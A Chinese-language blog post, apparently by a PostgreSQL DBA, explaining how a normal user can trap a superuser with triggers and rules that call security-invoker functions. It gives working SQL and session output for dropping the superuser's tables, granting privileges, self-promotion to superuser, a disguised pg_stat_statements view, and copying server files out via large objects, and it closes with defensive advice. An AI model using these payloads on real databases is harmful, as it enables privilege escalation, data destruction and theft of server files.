PostgreSQL 安全陷阱 - 利用触发器或规则，结合security invoker函数制造反噬陷阱
背景
PostgreSQL的函数支持两种权限检测
invoker, 调用者权限
definer, 定义者权限
比如一个普通用户，定义了一个函数是调用者权限的，当超级用户调用这个函数时，会以超级用户的权限来执行，可以为所欲为。
因此可能被普通用户用来设计陷阱。
正文
现在数据库中有两个用户，一个超级用户一个普通用户。
某些表是普通用户创建的，某些表是超级用户创建的。
postgres=# \dt
List of relations
Schema | Name | Type | Owner
--------+------------------+-------+----------
public | customer_reviews | table | postgres
public | t | table | digoal
public | t1 | table | postgres
public | t2 | table | postgres
public | t3 | table | postgres
为了达到反噬的目的，我用普通用户创建一个表，并在这个普通用户的表上创建触发器。
当超级用户操作这个表，并触发了触发器时，此时触发器函数的调用权限是
SECURITY INVOKER | DEFINER
来控制的，如果是默认的invoker，那么就是超级用户的权限，如果是definner，则是definner的权限。
所以我们可以利用这个漏 洞，来反噬超级用户。
例子：
使用普通用户创建一个表
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> create table temp_table (id int);
CREATE TABLE
创建一个用于反噬的触发器函数，指定security invoker.
postgres=> create or replace function tg1() returns trigger as $$
declare
begin
drop table t1 cascade; -- 干掉超级用户的表。删数据库都行。
grant all on table t2 to digoal; -- 获得超级用户的表的所有权限。
return null;
end;
$$ language plpgsql security invoker; -- security invoker是指调用这个函数时使用调用者的权限，而不是函数owner的权限。
CREATE FUNCTION
创建触发器
postgres=> create trigger tg2 before truncate on temp_table for each statement execute procedure tg1();
CREATE TRIGGER
观看反噬效果，一个超级用户去truncate这个临时表。
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# truncate temp_table ;
NOTICE: 00000: drop cascades to rule r1 on table t
CONTEXT: SQL statement "drop table t1 cascade"
PL/pgSQL function tg1() line 4 at SQL statement
LOCATION: reportDependentObjects, dependency.c:996
TRUNCATE TABLE
达到的效果和普通用户在触发器中使用的效果一致。
t2表的权限给了digoal.
postgres=# \dp+ t2
Access privileges
Schema | Name | Type | Access privileges | Column access privileges
--------+------+-------+---------------------------+--------------------------
public | t2 | table | postgres=arwdDxt/postgres+|
| | | digoal=arwdDxt/postgres |
(1 row)
t1表被删除了。
你还可以搞很多破坏，或者提升权限的事情。
规则也存在函数调用的反噬陷阱。
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> create rule r1 as on delete to t do instead delete from t1;
CREATE RULE
postgres=> delete from t;
ERROR: permission denied for relation t1
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# \set VERBOSITY verbose
postgres=# delete from t;
ERROR: 42501: permission denied for relation t1
LOCATION: aclcheck_error, aclchk.c:3371
在规则中，使用函数调用：
postgres=> create or replace function f() returns void as $$
postgres$> declare
postgres$> begin
postgres$> drop table t2 cascade;
postgres$> end;
postgres$> $$ language plpgsql security invoker;
CREATE FUNCTION
postgres=> create table tmp (id int);
CREATE TABLE
postgres=> create rule "_RETURN" as on select to tmp do instead select 1 as id from f();
CREATE RULE
postgres=> select * from tmp;
ERROR: must be owner of relation t2
CONTEXT: SQL statement "drop table t2 cascade"
PL/pgSQL function f() line 4 at SQL statement
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# select * from tmp;
id
----
1
(1 row)
postgres=# \d t2
Did not find any relation named "t2".
t2表被成功删除。
普通用户可以利用这种方法，获得超级用户的权限，然后为所欲为，包括读写文件系统，创建非受信的函数语言等等，破坏力极大。
例如修改一下上面这个例子的视图的规则用到的函数。
create or replace function f() returns void as $$
declare
begin
alter role digoal superuser;
end;
$$ language plpgsql security invoker;
然后，超级用户如果读到这个视图，则digoal将被赋予为超级用户。
postgres=> \c postgres postgres
postgres=# select * from tmp;
id
----
1
(1 row)
postgres=# \du
List of roles
Role name | Attributes | Member of
-----------+-----------------------------------+-----------
digoal | Superuser, Create DB | {}
现在digoal是超级用户了，你想干点什么呢？
一切。。。。。。
对文件系统有杀伤力的函数：
postgres=# \df *.*file
List of functions
Schema | Name | Result data type | Argument data types
| Type
------------+---------------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------+--------
pg_catalog | pg_read_binary_file | bytea | text
| normal
pg_catalog | pg_read_binary_file | bytea | text, bigint, bigint
| normal
pg_catalog | pg_read_file | text | text
| normal
pg_catalog | pg_read_file | text | text, bigint, bigint
| normal
pg_catalog | pg_rotate_logfile | boolean |
| normal
pg_catalog | pg_stat_file | record | filename text, OUT size bigint, OUT access timestamp with time zone, OUT modification timestamp with time zone, OUT change timestamp with time zone, OUT creation timestamp with time
zone, OUT isdir boolean | normal
(6 rows)
函数语言：
plpythonu
操作
COPY
DROP
CREATE
ALTER
。。。。。。
还有一种比较BT的伪装方法：
postgres=> create table pg_stat_statements (
userid oid ,
dbid oid ,
queryid bigint ,
query text ,
calls bigint ,
total_time double precision ,
rows bigint ,
shared_blks_hit bigint ,
shared_blks_read bigint ,
shared_blks_dirtied bigint ,
shared_blks_written bigint ,
local_blks_hit bigint ,
local_blks_read bigint ,
local_blks_dirtied bigint ,
local_blks_written bigint ,
temp_blks_read bigint ,
temp_blks_written bigint ,
blk_read_time double precision ,
blk_write_time double precision );
postgres=> create or replace function f() returns pg_stat_statements as $$
declare
begin
alter role digoal superuser;
end;
$$ language plpgsql security invoker;
CREATE FUNCTION
postgres=> create rule "_RETURN" as on select to pg_stat_statements do instead select * from f();
CREATE RULE
现在你拥有一个pg_stat_statements伪装的视图，恐怖吧。
DBA惊呆了。
即使你不能自建函数，你同样可以制造陷阱，利用现有的函数即可。因为系统函数都是security invoker的。
可利用的函数有：
管理函数，例如reset统计信息；设置参数，可以用来改配置，例如改内存大小，连接数；terminate进程；启停备份；创建流复制SLOT；列出目录文件；读文件内容；操作大对象；等等，而且这些信息都可以借机写入普通用户的表里面。
http://www.postgresql.org/docs/9.4/static/functions-admin.html
例子：
postgres=# select pg_ls_dir('.');
pg_ls_dir
----------------------
pg_xlog
pg_multixact
base
.s.PGSQL.1922.lock
recovery.done
pg_log
pg_logical
pg_subtrans
backup_label.old
pg_stat_tmp
PG_VERSION
postmaster.opts
tsearch_data
pg_stat
pg_serial
VITESSE_LICENSE_KEY
pg_notify
postgresql.conf
pg_replslot
pg_tblspc
pg_ident.conf
server.crt
pg_dynshmem
pg_twophase
global
server.key
.s.PGSQL.1922
.s.PGSQL.1921.lock
.s.PGSQL.1921
postmaster.pid
pg_hba.conf
pg_worker_list.conf
pg_clog
postgresql.auto.conf
pg_snapshots
(35 rows)
postgres=# SELECT convert_from(pg_read_binary_file('pg_ident.conf'), 'UTF8');
convert_from
------------------------------------------------------------------------
# PostgreSQL User Name Maps +
# ========================= +
# +
# Refer to the PostgreSQL documentation, chapter "Client +
# Authentication" for a complete description. A short synopsis +
# follows. +
# +
# This file controls PostgreSQL user name mapping. It maps external +
# user names to their corresponding PostgreSQL user names. Records +
# are of the form: +
# +
# MAPNAME SYSTEM-USERNAME PG-USERNAME +
# +
# (The uppercase quantities must be replaced by actual values.) +
# +
# MAPNAME is the (otherwise freely chosen) map name that was used in +
# pg_hba.conf. SYSTEM-USERNAME is the detected user name of the +
# client. PG-USERNAME is the requested PostgreSQL user name. The +
# existence of a record specifies that SYSTEM-USERNAME may connect as +
# PG-USERNAME. +
# +
# If SYSTEM-USERNAME starts with a slash (/), it will be treated as a +
# regular expression. Optionally this can contain a capture (a +
# parenthesized subexpression). The substring matching the capture +
# will be substituted for \1 (backslash-one) if present in +
# PG-USERNAME. +
# +
# Multiple maps may be specified in this file and used by pg_hba.conf.+
# +
# No map names are defined in the default configuration. If all +
# system user names and PostgreSQL user names are the same, you don't +
# need anything in this file. +
# +
# This file is read on server startup and when the postmaster receives+
# a SIGHUP signal. If you edit the file on a running system, you have+
# to SIGHUP the postmaster for the changes to take effect. You can +
# use "pg_ctl reload" to do that. +
+
# Put your actual configuration here +
# ---------------------------------- +
+
# MAPNAME SYSTEM-USERNAME PG-USERNAME +
(1 row)
把这些内容写入普通用户的表，依旧只能使用直接调用的方法，所以以下方法hack不行。
postgres=> create table v2 (id int);
CREATE TABLE
postgres=> create table v3 (c1 text);
CREATE TABLE
postgres=> create rule "_RETURN" as on select to v2 do instead with t1 as (insert into v3 select pg_ls_dir('.') returning *) select 1 as id ;
ERROR: rules on SELECT must not contain data-modifying statements in WITH
postgres=> create rule "_RETURN" as on select to v2 do instead insert into v3 select pg_ls_dir('.') returning * ;
ERROR: rules on SELECT must have action INSTEAD SELECT
postgres=> create or replace function f1() returns void as $$
postgres$> declare
postgres$> begin
postgres$> insert into v3 select pg_ls_dir('.');
postgres$> end;
postgres$> $$ language plpgsql security definer;
CREATE FUNCTION
postgres=> create rule "_RETURN" as on select to v2 do instead select 1 as id from f1();
CREATE RULE
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# select * from v2;
ERROR: must be superuser to get directory listings
CONTEXT: SQL statement "insert into v3 select pg_ls_dir('.')"
PL/pgSQL function f1() line 4 at SQL statement
换种方法，用大对象操作，把数据搞进来。
postgres=> drop view v2;
DROP VIEW
postgres=> create table v2(id int);
CREATE TABLE
postgres=> select lo_create(1);
lo_create
-----------
1
(1 row)
postgres=> create rule "_RETURN" as on select to v2 do instead select 1 as id from (select lowrite(lo_open(1,131072), con::bytea) from (select string_agg(c,' | ') as con from pg_ls_dir('.') as t(c)) t)t;;
CREATE RULE
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# select * from v2;
id
----
1
(1 row)
postgres=# \c postgres digoal
postgres=> select convert_from(loread(lo_open(1,262144),1000),'utf8');
convert_from
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------
pg_xlog | pg_multixact | base | .s.PGSQL.1922.lock | recovery.done | pg_log | pg_logical | pg_subtrans | backup_label.old | pg_stat_tmp | PG_VERSION | postmaster.opts | tsearch_data | pg_stat | pg_serial |
VITESSE_LICENSE_KEY | pg_notify | postgresql.conf | pg_replslot | pg_tblspc | pg_ident.conf | server.crt | pg_dynshmem | pg_twophase | global | server.key | .s.PGSQL.1922 | .s.PGSQL.1921.lock | .s.PGSQL.1921 |
postmaster.pid | pg_hba.conf | pg_worker_list.conf | pg_clog | postgresql.auto.conf | pg_snapshots
(1 row)
列出了文件列表，你可以把所有的文件都读进来。
postgres=> select lo_create(2);
lo_create
-----------
2
(1 row)
postgres=> drop view v2;
DROP VIEW
postgres=> create table v2(id int);
CREATE TABLE
postgres=> create rule "_RETURN" as on select to v2 do instead select 1 as id from (select lowrite(lo_open(2,131072), pg_read_binary_file('postgresql.conf'))) t;
CREATE RULE
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# select * from v2;
id
----
1
(1 row)
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> select convert_from(loread(lo_open(2,262144),100000),'utf8');
convert_from
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
# ----------------------------- +
# PostgreSQL configuration file +
# ----------------------------- +
# +
# This file consists of lines of the form: +
# +
# name = value +
# +
# (The "=" is optional.) Whitespace may be used. Comments are introduced with +
# "#" anywhere on a line. The complete list of parameter names and allowed +
# values can be found in the PostgreSQL documentation. +
# +
# The commented-out settings shown in this file represent the default values. +
# Re-commenting a setting is NOT sufficient to revert it to the default value; +
# you need to reload the server. +
# +
# This file is read on server startup and when the server receives a SIGHUP +
# signal. If you edit the file on a running system, you have to SIGHUP the +
# server for the changes to take effect, or use "pg_ctl reload". Some +
# parameters, which are marked below, require a server shutdown and restart to +
......
审计超级用户是否查看了普通用的表的行为。
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> drop view v2;
DROP VIEW
postgres=> \dt v2
No matching relations found.
postgres=> create table v2 (id int);
CREATE TABLE
postgres=> create table v3_audit(id serial primary key,r name,si inet,sp int,ci inet,cp int,ctime timestamp);
CREATE TABLE
postgres=> create or replace function f1() returns void as $$
declare
begin
insert into v3_audit(r,si,sp,ci,cp,ctime) select current_user,inet_server_addr(),inet_server_port(),inet_client_addr(),inet_client_port(),now();
end;
$$ language plpgsql security definer;
CREATE FUNCTION
postgres=> create rule "_RETURN" as on select to v2 do instead select 1 as id from f1();
CREATE RULE
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# select * from v2;
id
----
1
(1 row)
超级用户的行为被审计了。
postgres=# select * from v3_audit;
id | r | si | sp | ci | cp | ctime
----+--------+----+----+----+----+----------------------------
1 | digoal | | | | | 2015-09-30 12:36:50.246797
(1 row)
所以，请注意：
超级用户千万不要轻易去对不知名的表，视图执行select,insert,update,delete,truncate操作。这些都存在反噬“陷阱”。
更危险的是，如果你把系统表或者常用的管理表的创建规则会触发器的权限给普通用户了，那简直是惹火上身。
因为很多程序都会去查询系统表。
所以函数的security invoker权限是很危险的，让普通 用户创建这种函数，是在给DBA自己制造麻烦。
如果是security definer则没有以上风险。
如果超级用户确实有必要对普通用户的表或视图执行DML咋办呢？会不会因为看了本文害怕了？
这里有点小技巧：
1. 先查看一下你的对象是否有陷阱。
例如:
postgres=# \d+ t
Table "public.t"
Column | Type | Modifiers | Storage | Stats target | Description
--------+---------+-----------+---------+--------------+-------------
id | integer | | plain | |
Triggers:
tg1 BEFORE INSERT ON t FOR EACH ROW EXECUTE PROCEDURE tg1()
发现陷阱。
2. 在事务中操作，万一有问题可以回滚。
begin;
......
rollback;
3. 内核可以做点什么？ 禁止普通用户创建security definer的函数。
参考
1. http://www.postgresql.org/docs/9.4/static/sql-createrule.html
2. http://www.postgresql.org/docs/9.4/static/sql-createfunction.html
3. http://blog.163.com/digoal@126/blog/static/16387704020156173121155/
4. http://blog.163.com/digoal@126/blog/static/16387704020130931040444/